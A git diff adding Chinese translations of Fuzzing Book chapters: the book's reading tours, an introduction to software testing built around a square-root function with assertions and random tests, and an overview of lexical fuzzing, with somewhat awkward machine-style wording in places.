+6.  如果要**部署大量的模糊器**，请学习如何[管理大量的模糊器](FuzzingInTheLarge.html)。
+
+在每一章中，均以“简介”部分开头； 这些将为您提供有关如何使用事物的快速介绍，并为您提供相关的用法示例。 有了这个，足够说了。 回到工作，享受！
+
+## 分页浏览
+
+这些游览是本书的组织方式。 通过[测试简介](Intro_Testing.html)的基本概念后，您可以阅读以下内容：
+
+1.  **[词汇巡视](02_Lexical_Fuzzing.html)** 专注于*词汇*测试生成技术，即，逐个字符和逐字节组成输入字符的技术。 非常快速和强大的技术，具有最小的偏差。
+
+2.  **[语法浏览](03_Syntactical_Fuzzing.html)** 专注于*语法*，作为指定输入语法的一种手段。 生成的测试生成器会产生语法正确的输入，从而使测试更快，并为测试人员提供许多控制机制。
+
+3.  **[语义导览](04_Semantical_Fuzzing.html)** 利用*代码语义*来塑造和指导测试的产生。 先进的技术包括提取输入语法，挖掘函数规范以及符号约束求解，以覆盖尽可能多的代码路径。
+
+4.  **[应用指南](05_Domain-Specific_Fuzzing.ipynb)** 在域的早期部分中定义了技术，例如Web服务器，用户界面，API或配置。
+
+5.  **[管理之旅](06_Managing_Fuzzing.html)** 最终着重于如何处理和组织大型测试生成器以及何时停止模糊测试。
+
+这些章节中的大多数都以“摘要”部分开头，介绍了如何使用最重要的概念。 您可以选择是要使用“用法”透视图（然后阅读大纲）还是“理解”透视图（然后继续阅读）。
+
+## 本科之旅
+
+您是计算机科学和/或软件工程的学生。 您想了解测试和相关领域的基础知识。 您不仅要使用技术，还要更深入地研究算法和实现。 我们为您提供以下建议：
+
+1.  从[开始，介绍](Intro_Testing.html)和[覆盖率](Coverage.html)的测试，以了解**的基本概念。** （您可能已经知道其中一些，但是，嘿，您是学生，对吗？）
+
+2.  **从[关于Fuzzers](Fuzzer.html) 的一章中了解简单的Fuzzer的工作原理。 这已经为您提供了90年代占用UNIX实用程序30％的工具。 如果您测试以前从未使用过的工具，会发生什么？**
+
+3.  **[基于变异的模糊测试](MutationFuzzer.html)** 几乎是当今模糊测试的标准：获取一组种子，并对它们进行变异，直到发现错误为止。
+
+4.  **了解如何使用[语法](Grammars.html)生成语法正确的输入。** 这样可以使测试生成效率更高，但是您必须首先编写（或[我的](GrammarMiner.html)语法）。
+
+5.  **了解如何[模糊API](APIFuzzer.html) 和[图形用户界面](GUIFuzzer.html)** 。 这两个都是软件测试生成的重要领域。
+
+6.  **了解如何[自动将导致故障的输入](Reducer.html)减少到最小**。 这可以节省大量的调试时间，尤其是与自动化测试结合使用时。
+
+对于所有这些章节，请尝试实现以了解其概念。 随意尝试。
+
+如果您是老师，则以上各章在编程和/或软件工程课程中可能会很有用。 利用幻灯片和/或实时编程，让学生进行练习。
+
+## 研究生导览
+
+在“本科”之旅的顶部，您想更深入地测试生成技术，包括要求更高的技术。
+
+1.  **[基于搜索的测试](SearchBasedFuzzer.html)** 使您可以朝着特定目标（例如代码覆盖率）引导测试生成。 坚固高效。
+
+2.  获得 **[配置测试](ConfigurationFuzzer.html)** 的简介。 如何测试并覆盖具有多个配置选项的系统？
+
+3.  **[突变分析](MutationAnalysis.html)** 将合成缺陷（突变）植入程序代码中，以检查测试是否找到了它们。 如果测试没有发现变异，它们也可能不会发现真正的错误。
+
+4.  **了解如何使用语法解析[输入](Parser.html)的**。 如果要分析，分解和变异现有输入，则需要一个解析器。
+
+5.  **[共形](ConcolicFuzzer.html)和[符号](SymbolicFuzzer.html)模糊测试**沿程序路径求解约束，以到达难以测试的代码。 在可靠性至高无上的地方使用； 也是一个热门的研究主题。
+
+6.  **了解如何[估计何时停止模糊](WhenToStopFuzzing.html)** 。 一定要停下来吧？
+
+对于所有这些章节，请尝试代码。 随时创建自己的变体和扩展。 这就是我们进行研究的方式！
+
+如果您是老师，则以上各章在软件工程和测试的高级课程中可能会很有用。 同样，您可以使用幻灯片和/或实时编程，让学生练习。
+
+## 研究者之旅
+
+在“研究生”之旅的基础上，您正在寻找介于实验室阶段和广泛使用之间的技术，尤其是仍有大量改进空间的技术。 如果您寻找研究思路，请选择这些主题。
+
+1.  **[挖掘函数规范](DynamicInvariants.html)** 是研究中的热门话题：给定一个函数，我们如何推断描述其行为的抽象模型？ 与测试生成的结合在这里提供了许多机会，特别是对于动态规范挖掘。
+
+2.  **[挖掘输入语法](GrammarMiner.html)** 有望将语法模糊的强大功能和易用性与语法模糊的效率和速度结合在一起。 想法是自动从程序中挖掘输入语法，然后将其用作语法模糊测试的基础。 仍处于早期阶段，但潜力巨大。
+
+3.  **[概率语法模糊](ProbabilisticGrammarFuzzer.html)** 使程序员可以更好地控制应生成哪些元素。 如本章所述，在给定测试的概率模糊和挖掘数据的交集处有大量的研究可能性。
+
+4.  **[带生成器的模糊处理](GeneratorGrammarFuzzer.html)** 使程序员可以完全控制输入生成，即允许他们定义自己的生成器功能。 最大的挑战是：如何以最少的上下文约束来最好地利用语法描述的力量？
+
+5.  **[雕刻单元测试](Carver.html)** 通过从仅重播单个函数调用（可能带有新的生成的参数）的程序执行中提取单元测试，带来了显着加快测试执行（和生成）的希望。 。 在Python中，雕刻很容易实现； 这有很大的潜力可玩。
+
+6.  **测试 [Web服务器](WebFuzzer.html)和 [GUI](GUIFuzzer.html)** 是一个热门的研究领域，其原因是从业者需要测试和保护其接口（以及其他从业者需要破解） 通过这些接口）。 同样，这里仍然有很多未开发的潜力。
+
+7.  **[带有语法的灰箱模糊](GreyboxFuzzer.html)和[灰箱模糊](GreyboxGrammarFuzzer.html)** 引入了*统计估计量*，以引导测试生成朝向最可能发现的输入和输入属性 新的错误。 测试，程序分析和统计的交叉点为将来的研究提供了许多可能性。
+
+对于所有这些主题，使实现和演示概念的Pythn源可用是一项主要资产。 您可以根据自己的想法轻松扩展实现，并直接在笔记本中运行评估。 一旦您的方法稳定了，请考虑将其移植到具有更多可用主题的语言（例如C）。
+
+## 作者浏览
+
+这是终极之旅–您已经了解了所有内容，并希望为这本书贡献力量。 然后，您应该再阅读两章：
+
+1.  **[作者指南](Guide_for_Authors.html)** 介绍了如何为本书做出贡献（编码风格，写作风格，约定等）。
+
+2.  **[模板章节](Template.html)** 是本章的蓝图。
+
+如果您想做出贡献，请随时与我们联系-最好在写作之前，但在写作之后也可以。 我们很乐意加入您的资料。
+
+## 经验教训
+
+*   您可以从头到尾浏览这本书...
+*   ...但是根据您的需求和资源，最好进行特定的游览。
+*   现在[去探索生成软件测试](index.html)！
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/6.md b/new/fuzzing-book-zh/6.md
new file mode 100644
index 0000000000000000000000000000000000000000..f9c077346328fcff1ec1d6ba8fefb637b2a21870
--- /dev/null
+++ b/new/fuzzing-book-zh/6.md
@@ -0,0 +1,712 @@
+# 软件测试简介
+
+> 原文： [https://www.fuzzingbook.org/html/Intro_Testing.html](https://www.fuzzingbook.org/html/Intro_Testing.html)
+
+在进入本书的中心部分之前，让我们介绍软件测试的基本概念。 为什么根本需要测试软件？ 一个测试软件如何？ 如何判断测试是否成功？ 如何知道一个人是否测试足够？ 在本章中，让我们回顾最重要的概念，并同时熟悉Python和交互式笔记本。
+
+## 简单测试
+
+让我们从一个简单的例子开始。 您的同事已被要求实现平方根函数$ \ sqrt {x} $。 （让我们暂时假设环境还没有。）在研究了 [Newton-Raphson方法](https://en.wikipedia.org/wiki/Newton%27s_method)之后，她提出了以下Python代码，并声称实际上`my_sqrt()`这个函数 计算平方根。
+
+```py
+def my_sqrt(x):
+    """Computes the square root of x, using the Newton-Raphson method"""
+    approx = None
+    guess = x / 2
+    while approx != guess:
+        approx = guess
+        guess = (approx + x / approx) / 2
+    return approx
+
+```
+
+现在，您的工作是确定此功能是否真正按照其要求执行。
+
+### 了解Python程序
+
+如果您不熟悉Python，则可能首先必须了解上述代码的功能。 我们非常推荐 [Python教程](https://docs.python.org/3/tutorial/)来了解Python的工作原理。 对于您来说，理解以上代码最重要的是以下三个：
+
+1.  Python通过*缩进*构造程序，因此函数和`while`主体是通过缩进来定义的；
+2.  Python是*动态类型的*，这意味着`x`，`approx`或`guess`之类的变量类型是在运行时确定的。
+3.  Python的大多数语法功能均受其他通用语言的启发，例如控制结构（`while`，`if`），分配（`=`）或比较（`==`，`!=`和`<`）。
+
+这样，您已经可以理解上述代码的作用：从`x / 2`的`guess`开始，它在`approx`中计算越来越好的近似值，直到`approx`的值不再改变为止。 这是最终返回的值。
+
+### 运行功能
+
+要确定`my_sqrt()`是否正常工作，我们可以*用一些值测试*。 例如，对于`x = 4`，它将产生正确的值：
+
+```py
+my_sqrt(4)
+
+```
+
+```py
+2.0
+
+```
+
+`my_sqrt(4)`上方的上部（所谓的*单元格*）是Python解释器的输入，默认情况下，*将对其进行评估*。 下部（`2.0`）是其输出。 我们可以看到`my_sqrt(4)`产生正确的值。
+
+显然`x = 2.0`也是如此：
+
+```py
+my_sqrt(2)
+
+```
+
+```py
+1.414213562373095
+
+```
+
+### 与笔记本交互
+
+如果您正在交互式笔记本中阅读此内容，则还可以尝试使用`my_sqrt()`和其他值。 单击上面带有`my_sqrt()`调用的单元格之一，然后将值更改为`my_sqrt(1)`。 按`Shift+Enter`（或单击播放符号）执行它并查看结果。 如果收到错误消息，请转到上面带有`my_sqrt()`定义的单元格，然后首先执行此操作。 您也可以一次运行*所有*单元； 有关详细信息，请参见“笔记本”菜单。 （实际上，您也可以通过单击文本来更改文本，以及诸如此类的核心内容错误。）
+
+执行单个单元格不会执行其他单元格，因此，如果您的单元格基于尚未执行的另一个单元格中的定义，则会收到错误消息。 您可以从菜单中选择`Run all cells above`以确保设置了所有定义。
+
+还要记住，除非覆盖，否则所有定义都将在执行过程中保留。 有时，它有助于*重新启动内核*（即从头启动Python解释器），以摆脱较旧的多余定义。
+
+### 调试功能
+
+要查看`my_sqrt()`的工作方式，一种简单的策略是在关键位置插入`print()`语句。 例如，您可以记录`approx`的值，以查看每次循环迭代如何接近实际值：
+
+```py
+def my_sqrt_with_log(x):
+    """Computes the square root of x, using the Newton–Raphson method"""
+    approx = None
+    guess = x / 2
+    while approx != guess:
+        print("approx =", approx)  # <-- New
+        approx = guess
+        guess = (approx + x / approx) / 2
+    return approx
+
+```
+
+```py
+my_sqrt_with_log(9)
+
+```
+
+```py
+approx = None
+approx = 4.5
+approx = 3.25
+approx = 3.0096153846153846
+approx = 3.000015360039322
+approx = 3.0000000000393214
+
+```
+
+```py
+3.0
+
+```
+
+交互式笔记本还允许启动交互式*调试器* –在单元格顶部插入“魔术线” `%%debug`，然后查看会发生什么情况。 不幸的是，交互式调试器会干扰我们的动态分析技术，因此我们主要使用日志记录和断言进行调试。
+
+### 检查功能
+
+让我们回到测试。 我们可以阅读并运行代码，但上述`my_sqrt(2)`的值实际上正确吗？ 我们可以轻松地通过利用$ \ sqrt {x} $再次平方为$ x $来进行验证，换句话说$ \ sqrt {x} \ times \ sqrt {x} = x $。 让我们来看看：
+
+```py
+my_sqrt(2) * my_sqrt(2)
+
+```
+
+```py
+1.9999999999999996
+
+```
+
+好的，我们确实有一些舍入错误，但是，这似乎很好。
+
+现在我们要做的是，我们已经对上述程序进行了*测试*：*在给定的输入上执行了*，并且*检查了*其结果是否正确 。 在程序投入生产之前，这种测试是质量保证的最低限度。
+
+## 自动化测试执行
+
+到目前为止，我们已经手动测试了上述程序，即，手动运行该程序并手动检查其结果。 这是一种非常灵活的测试方法，但从长远来看，它效率很低：
+
+1.  手动地，您只能检查非常有限的执行及其结果
+2.  对程序进行任何更改后，您必须重复测试过程
+
+这就是为什么*自动执行*测试非常有用的原因。 一种简单的方法是让计算机首先进行计算，然后让计算机检查结果。
+
+例如，这段代码自动测试$ \ sqrt {4} = 2 $是否成立：
+
+```py
+result = my_sqrt(4)
+expected_result = 2.0
+if result == expected_result:
+    print("Test passed")
+else:
+    print("Test failed")
+
+```
+
+```py
+Test passed
+
+```
+
+这个测试的好处是我们可以一次又一次地运行它，从而确保至少正确计算了4的平方根。 但是，仍然存在许多问题：
+
+1.  单个测试需要*五行代码*
+2.  我们不在乎舍入错误
+3.  我们只检查单个输入（和单个结果）
+
+让我们一一解决这些问题。 首先，让我们使测试更加紧凑。 几乎所有的编程语言都可以自动检查条件是否成立，如果条件不成立则停止执行。 这称为*断言*，对于测试非常有用。
+
+在Python中，`assert`语句带有条件，如果条件为true，则什么也不会发生。 （如果一切正常运行，则不要打扰。）但是，如果条件评估为false，则`assert`会引发异常，表明测试刚刚失败。
+
+在我们的示例中，我们可以使用`assert`轻松检查`my_sqrt()`是否产生上述预期结果：
+
+```py
+assert my_sqrt(4) == 2
+
+```
+
+当您执行此行代码时，什么都不会发生：我们只是证明（或断言）我们的实现确实产生$ \ sqrt {4} = 2 $。
+
+但是请记住，浮点计算可能会导致舍入误差。 因此，我们不能简单地比较两个浮点数是否相等。 相反，我们将确保它们之间的绝对差保持在某个阈值（通常表示为$ \ epsilon $或`epsilon`）之下。 这是我们可以做到的：
+
+```py
+EPSILON = 1e-8
+
+```
+
+```py
+assert abs(my_sqrt(4) - 2) < EPSILON
+
+```
+
+我们也可以为此目的引入一个特殊功能，现在对具体值进行更多测试：
+
+```py
+def assertEquals(x, y, epsilon=1e-8):
+    assert abs(x - y) < epsilon
+
+```
+
+```py
+assertEquals(my_sqrt(4), 2)
+assertEquals(my_sqrt(9), 3)
+assertEquals(my_sqrt(100), 10)
+
+```
+
+似乎可以工作，对吧？ 如果我们知道计算的预期结果，则可以一次又一次地使用此类断言，以确保我们的程序正确运行。
+
+## 生成测试
+
+还记得属性$ \ sqrt {x} \ times \ sqrt {x} = x $普遍适用吗？ 我们还可以使用一些值来显式测试它：
+
+```py
+assertEquals(my_sqrt(2) * my_sqrt(2), 2)
+assertEquals(my_sqrt(3) * my_sqrt(3), 3)
+assertEquals(my_sqrt(42.11) * my_sqrt(42.11), 42.11)
+
+```
+
+似乎仍然有效，对不对？ 不过最重要的是，我们可以很容易地测试$ \ sqrt {x} \ times \ sqrt {x} = x $的数千个值：
+
+```py
+for n in range(1, 1000):
+    assertEquals(my_sqrt(n) * my_sqrt(n), n)
+
+```
+
+用100个值测试`my_sqrt()`需要多少时间？ 让我们来看看。
+
+我们使用自己的 [`Timer`模块](Timer.html)测量经过的时间。 为了能够使用`Timer`，我们首先导入我们自己的实用程序模块，该模块允许我们导入其他笔记本。
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+```py
+from [Timer](Timer.html) import Timer
+
+```
+
+```py
+with Timer() as t:
+    for n in range(1, 10000):
+        assertEquals(my_sqrt(n) * my_sqrt(n), n)
+print(t.elapsed_time())
+
+```
+
+```py
+0.020416864000253554
+
+```
+
+10,000个值大约需要百分之一秒，因此单次执行`my_sqrt()`需要1/1000000秒或大约1微秒。
+
+让我们重复随机选择10,000个值。 Python `random.random()`函数返回0.0到1.0之间的随机值：
+
+```py
+import [random](https://docs.python.org/3/library/random.html)
+
+```
+
+```py
+with Timer() as t:
+    for i in range(10000):
+        x = 1 + random.random() * 1000000
+        assertEquals(my_sqrt(x) * my_sqrt(x), x)
+print(t.elapsed_time())
+
+```
+
+```py
+0.02402487299968925
+
+```
+
+一秒钟之内，我们现在测试了10,000个随机值，并且每次实际上都正确计算了平方根。 我们只要对`my_sqrt()`进行任何更改，就可以重复此测试，每次都可以增强我们对`my_sqrt()`可以正常工作的信心。 但是请注意，尽管在生成随机值时随机函数*是无偏的*，但不太可能生成会极大改变程序行为的特殊值。 我们将在下面稍后讨论。
+
+## 运行时验证
+
+除了编写和运行`my_sqrt()`的测试外，我们还可以将*集成到执行中。* 这样，将自动检查`my_sqrt()`的每个*调用。*
+
+这样的*自动运行时检查*非常易于实现：
+
+```py
+def my_sqrt_checked(x):
+    root = my_sqrt(x)
+    assertEquals(root * root, x)
+    return root
+
+```
+
+现在，无论何时我们使用`my_sqrt_checked()` $ \ dots $计算一个根
+
+```py
+my_sqrt_checked(2.0)
+
+```
+
+```py
+1.414213562373095
+
+```
+
+我们已经知道结果是正确的，并且对于每次新的成功计算都是如此。
+
+如上所述，自动运行时检查假设有两件事：
+
+*   必须能够*制定*这样的运行时检查。 始终有可能要检查具体的值，但是以抽象方式制定所需的属性可能非常复杂。 实际上，您需要确定哪些属性最关键，并为它们设计适当的检查。 另外，运行时检查可能不仅取决于本地属性，还取决于程序状态的多个属性，所有这些属性都必须确定。
+
+*   必须能够*承担*这种运行时检查。 在`my_sqrt()`的情况下，检查不是很昂贵； 但是，即使经过简单的操作，如果我们不得不检查大型数据结构，检查的费用很快就会变得昂贵。 在实践中，通常会在生产过程中禁用运行时检查，为了提高效率而牺牲了可靠性。 另一方面，一套全面的运行时检查是发现错误并快速调试它们的好方法。 您需要确定在生产期间仍需要多少种这样的功能。
+
+## 系统输入与功能输入
+
+此时，我们可以将`my_sqrt()`提供给其他程序员，然后他们可以将其嵌入其代码中。 在某些时候，它必须处理来自*第三方*的输入，即不受程序员的控制。
+
+让我们通过假设一个*程序* `sqrt_program()`来模拟此*系统输入*，该程序的输入是第三方控制的字符串：
+
+```py
+def sqrt_program(arg):
+    x = int(arg)
+    print('The root of', x, 'is', my_sqrt(x))
+
+```
+
+我们假设`sqrt_program`是一个程序，它可以从命令行接受系统输入，如
+
+```py
+$ sqrt_program 4
+2
+
+```
+
+我们可以通过一些系统输入轻松调用`sqrt_program()`：
+
+```py
+sqrt_program("4")
+
+```
+
+```py
+The root of 4 is 2.0
+
+```
+
+有什么问题？ 好吧，问题在于我们不检查外部输入的有效性。 例如，尝试调用`sqrt_program(-1)`。 怎么了？
+
+实际上，如果您使用负数调用`my_sqrt()`，它将进入无限循环。 由于技术原因，本章不能有无限循环（除非我们希望代码永远运行）。 因此，我们使用特殊的`with ExpectTimeOut(1)`构造在一秒钟后中断执行。
+
+```py
+from [ExpectError](ExpectError.html) import ExpectTimeout
+
+```
+
+```py
+with ExpectTimeout(1):
+    sqrt_program("-1")
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-25-add01711282b>", line 2, in <module>
+    sqrt_program("-1")
+  File "<ipython-input-22-53e8ec8bb3ca>", line 3, in sqrt_program
+    print('The root of', x, 'is', my_sqrt(x))
+  File "<ipython-input-1-47185ad159a1>", line 5, in my_sqrt
+    while approx != guess:
+  File "<ipython-input-1-47185ad159a1>", line 5, in my_sqrt
+    while approx != guess:
+  File "<string>", line 16, in check_time
+TimeoutError (expected)
+
+```
+
+上面的消息是*错误消息*，表明出了点问题。 它列出了错误发生时处于活动状态的函数和行的*调用堆栈*。 最底部的行是最后执行的行； 上面的几行代表函数调用–在我们的例子中，最高为`my_sqrt(x)`。
+
+我们不希望我们的代码以异常终止。 因此，在接受外部输入时，我们必须确保已对​​其进行正确验证。 例如，我们可以写：
+
+```py
+def sqrt_program(arg):
+    x = int(arg)
+    if x < 0:
+        print("Illegal Input")
+    else:
+        print('The root of', x, 'is', my_sqrt(x))
+
+```
+
+然后我们可以确定`my_sqrt()`仅根据其规范被调用。
+
+```py
+sqrt_program("-1")
+
+```
+
+```py
+Illegal Input
+
+```
+
+可是等等！ 如果不使用数字调用`sqrt_program()`，该怎么办？ 然后，我们将尝试转换非数字字符串，这也会导致运行时错误：
+
+```py
+from [ExpectError](ExpectError.html) import ExpectError
+
+```
+
+```py
+with ExpectError():
+    sqrt_program("xyzzy")
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-29-8c5aae65a938>", line 2, in <module>
+    sqrt_program("xyzzy")
+  File "<ipython-input-26-ea86281b33cf>", line 2, in sqrt_program
+    x = int(arg)
+ValueError: invalid literal for int() with base 10: 'xyzzy' (expected)
+
+```
+
+这是一个还会检查输入错误的版本：
+
+```py
+def sqrt_program(arg):
+    try:
+        x = float(arg)
+    except ValueError:
+        print("Illegal Input")
+    else:
+        if x < 0:
+            print("Illegal Number")
+        else:
+            print('The root of', x, 'is', my_sqrt(x))
+
+```
+
+```py
+sqrt_program("4")
+
+```
+
+```py
+The root of 4.0 is 2.0
+
+```
+
+```py
+sqrt_program("-1")
+
+```
+
+```py
+Illegal Number
+
+```
+
+```py
+sqrt_program("xyzzy")
+
+```
+
+```py
+Illegal Input
+
+```
+
+现在我们已经看到，在系统级别，程序必须能够优雅地处理任何类型的输入，而永远不会进入不受控制的状态。 当然，这对程序员来说是负担，他们必须努力使自己的程序在所有情况下都健壮起来。 但是，这种负担在生成软件测试时成为*的好处*：如果程序可以处理任何类型的输入（可能带有明确定义的错误消息），我们也可以*将其发送给任何类型的输入* 。 但是，当使用生成的值调用函数时，我们必须*知道*其确切的前提条件。
+
+## 测试限制
+
+尽管在测试方面做出了最大的努力，但请记住，您始终在检查*有限*输入集的功能。 因此，可能总是存在*未经测试的*输入，其功能可能仍会失败。
+
+例如，在`my_sqrt()`的情况下，计算$ \ sqrt {0} $将除以零：
+
+```py
+with ExpectError():
+    root = my_sqrt(0)
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-34-24ede1f53910>", line 2, in <module>
+    root = my_sqrt(0)
+  File "<ipython-input-1-47185ad159a1>", line 7, in my_sqrt
+    guess = (approx + x / approx) / 2
+ZeroDivisionError: float division by zero (expected)
+
+```
+
+到目前为止，在我们的测试中，我们尚未检查此条件，这意味着以$ \ sqrt {0} = 0 $为基础的程序将意外失败。 但是，即使我们已经设置了随机生成器以产生0–1000000而不是1–1000000的输入，它随机产生零值的机会仍然是百万分之一。 如果对于几个单独的值，函数的行为完全不同，则纯随机测试几乎没有机会产生这些值。
+
+我们当然可以相应地修复该功能，记录`x`的可接受值并处理特殊情况`x = 0`：
+
+```py
+def my_sqrt_fixed(x):
+    assert 0 <= x
+    if x == 0:
+        return 0
+    return my_sqrt(x)
+
+```
+
+这样，我们现在可以正确地计算$ \ sqrt {0} = 0 $：
+
+```py
+assert my_sqrt_fixed(0) == 0
+
+```
+
+非法值现在导致异常：
+
+```py
+with ExpectError():
+    root = my_sqrt_fixed(-1)
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-37-55b1caf1586a>", line 2, in <module>
+    root = my_sqrt_fixed(-1)
+  File "<ipython-input-35-f3e21e80ddfb>", line 2, in my_sqrt_fixed
+    assert 0 <= x
+AssertionError (expected)
+
+```
+
+尽管如此，我们必须记住，尽管广泛的测试可以使我们对程序的正确性有很高的信心，但它不能保证所有将来的执行都是正确的。 即使检查每个结果的运行时验证也只能保证*如果*产生结果，则结果将是正确的； 但不能保证将来的执行不会导致检查失败。 在撰写本文时，我*相信* `my_sqrt_fixed(x)`是$ \ sqrt {x} $的正确实现，但我不能100％确定。
+
+使用Newton-Raphson方法，我们仍然有很大的机会实际*证明*实现是正确的：实现简单，数学上的理解很深。 las，只有少数域才是这种情况。 如果我们不想使用完整的正确性证明，我们进行测试的最佳机会是
+
+1.  在几个精心选择的输入上测试程序； 和
+2.  全面自动地检查结果。
+
+这是我们在本课程其余部分中要做的：设计可帮助我们彻底测试程序的技术，以及可帮助我们检查程序状态正确性的技术。 请享用！
+
+## 经验教训
+
+*   测试的目的是执行一个程序，以便我们发现错误。
+*   测试执行，测试生成和检查测试结果可以自动化。
+*   测试是*不完整的*； 它不提供100％保证代码没有错误的保证。
+
+## 后续步骤
+
+从这里开始，您可以继续
+
+*   [使用*模糊测试*测试带有随机输入的程序](Fuzzer.html)
+
+享受阅读！
+
+## 背景
+
+关于软件测试和分析的工作很多。 对于这本书，我们很高兴推荐“软件测试和分析” [[Pezzè*等人*，2008年。](http://ix.cs.uoregon.edu/~michal/book/)]作为该领域的介绍； 其强大的技术重点非常适合我们的方法。 使用软件测试的全面方法（包括心理学和组织知识）的其他重要必读材料包括“软件测试的艺术” [ [Myers *等人*，2004。](https://dl.acm.org/citation.cfm?id=983238)]以及“ 软件测试技术” [ [Beizer *等人*，1990。](https://dl.acm.org/citation.cfm?id=79060)]。
+
+## 练习
+
+### 练习1：测试Shellsort
+
+考虑 [Shellsort](https://en.wikipedia.org/wiki/Shellsort) 函数的以下实现，获取元素列表并（大概）对其进行排序。
+
+```py
+def shellsort(elems):
+    sorted_elems = elems.copy()
+    gaps = [701, 301, 132, 57, 23, 10, 4, 1]
+    for gap in gaps:
+        for i in range(gap, len(sorted_elems)):
+            temp = sorted_elems[i]
+            j = i
+            while j >= gap and sorted_elems[j - gap] > temp:
+                sorted_elems[j] = sorted_elems[j - gap]
+                j -= gap
+            sorted_elems[j] = temp
+
+    return sorted_elems
+
+```
+
+第一个测试表明`shellsort()`可能实际起作用：
+
+```py
+shellsort([3, 2, 1])
+
+```
+
+```py
+[1, 2, 3]
+
+```
+
+该实现使用*列表*作为参数`elems`（将其复制到`sorted_elems`）以及固定列表`gaps`。 列表的工作方式与其他语言的*数组*相似：
+
+```py
+a = [5, 6, 99, 7]
+print("First element:", a[0], "length:", len(a))
+
+```
+
+```py
+First element: 5 length: 4
+
+```
+
+`range()`函数返回一个可迭代的元素列表。 与上述实现一样，它通常与`for`循环结合使用。
+
+```py
+for x in range(1, 5):
+    print(x)
+
+```
+
+```py
+1
+2
+3
+4
+
+```
+
+#### 第1部分：手动测试用例
+
+现在，您的工作就是使用各种输入全面测试`shellsort()`。
+
+首先，使用许多手动编写的测试用例设置`assert`语句。 选择测试用例，以便涵盖极端情况。 使用`==`比较两个列表。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Intro_Testing.ipynb#Exercises) to work on the exercises and see solutions.
+
+#### 第2部分：随机输入
+
+其次，创建随机列表作为`shellsort()`的参数。 使用以下辅助谓词来检查结果是否为（a）排序的，和（b）对原始结果的排列。
+
+```py
+def is_sorted(elems):
+    return all(elems[i] <= elems[i + 1] for i in range(len(elems) - 1))
+
+```
+
+```py
+is_sorted([3, 5, 9])
+
+```
+
+```py
+True
+
+```
+
+```py
+def is_permutation(a, b):
+    return len(a) == len(b) and all(a.count(elem) == b.count(elem) for elem in a)
+
+```
+
+```py
+is_permutation([3, 2, 1], [1, 3, 2])
+
+```
+
+```py
+True
+
+```
+
+从一个随机列表生成器开始，使用`[]`作为空列表，并使用`elems.append(x)`将元素`x`追加到列表`elems`。 使用以上帮助器功能评估结果。 生成并测试1,000个列表。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Intro_Testing.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习2：二次求解器
+
+给定一个等式$ ax ^ 2 + bx + c = 0 $，我们希望针对给定$ a $，$ b $和$ c $的值，找到$ x $的解。 以下代码应该使用等式$$ x = \ frac {-b \ pm \ sqrt {b ^ 2-4ac}} {2a} $$
+
+```py
+def quadratic_solver(a, b, c):
+    q = b * b - 4 * a * c
+    solution_1 = (-b + my_sqrt_fixed(q)) / (2 * a)
+    solution_2 = (-b - my_sqrt_fixed(q)) / (2 * a)
+    return (solution_1, solution_2)
+
+```
+
+```py
+quadratic_solver(3, 4, 1)
+
+```
+
+```py
+(-0.3333333333333333, -1.0)
+
+```
+
+但是，以上实现并不完整。 您可以触发
+
+1.  除以零； 和
+2.  违反`my_sqrt_fixed()`的前提。
+
+如何做到这一点，又如何预防呢？
+
+#### 第1部分：查找触发错误的输入
+
+对于上述两种情况，请分别确定触发错误的`a`，`b`和`c`的值。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Intro_Testing.ipynb#Exercises) to work on the exercises and see solutions.
+
+#### 第2部分：解决问题
+
+适当地扩展代码，以便处理案件。 对于不存在的值，返回`None`。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Intro_Testing.ipynb#Exercises) to work on the exercises and see solutions.
+
+#### 第3部分：奇数
+
+通过随机输入发现这些条件的机会是什么？ 假设一个人每秒可以进行十亿次测试，那么一个错误被触发平均需要等待多长时间？
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Intro_Testing.ipynb#Exercises) to work on the exercises and see solutions.
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/7.md b/new/fuzzing-book-zh/7.md
new file mode 100644
index 0000000000000000000000000000000000000000..33e8a4e8acea991f74be991196944ff6785f2aba
--- /dev/null
+++ b/new/fuzzing-book-zh/7.md
@@ -0,0 +1,17 @@
+# 第二部分：词法模糊
+
+> 原文： [https://www.fuzzingbook.org/html/02_Lexical_Fuzzing.html](https://www.fuzzingbook.org/html/02_Lexical_Fuzzing.html)
+
+本部分介绍了在*词法*级别上的测试生成，即，组成字符序列。
+
+*   [Fuzzing：使用随机输入破坏事物](Fuzzer.html)从最简单的测试生成技术之一开始：Fuzzing将*随机字符字符串*馈入程序，以期发现故障。
+
+*   在[获得覆盖率](Coverage.html)中，我们通过评估它们的*代码覆盖率*来衡量这些测试的有效性-也就是说，测量程序的哪些部分在测试运行期间实际执行了。 对于尝试覆盖尽可能多的代码的测试生成器，衡量此类覆盖范围也至关重要。
+
+*   [基于变异的模糊检测](MutationFuzzer.html)显示了如何*变异*现有输入以行使新行为。 我们将展示如何创建此类突变，以及如何使用流行的AFL模糊器的中心概念来引导它们走向尚未发现的代码。
+
+*   [Greybox Fuzzing](GreyboxFuzzer.html) 进一步扩展了输入突变的概念，使用统计估计量来指导测试朝着可能的错误进行。
+
+*   [基于搜索的模糊处理](SearchBasedFuzzer.html)进一步采用了指导的概念，引入了基于搜索的算法来系统地生成程序的测试数据。
+
+*   [突变分析](MutationAnalysis.html)将合成缺陷（突变）植入程序代码中，以检查测试是否找到了它们。 如果测试没有发现变异，它们也可能不会发现真正的错误。
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/8.md b/new/fuzzing-book-zh/8.md
new file mode 100644
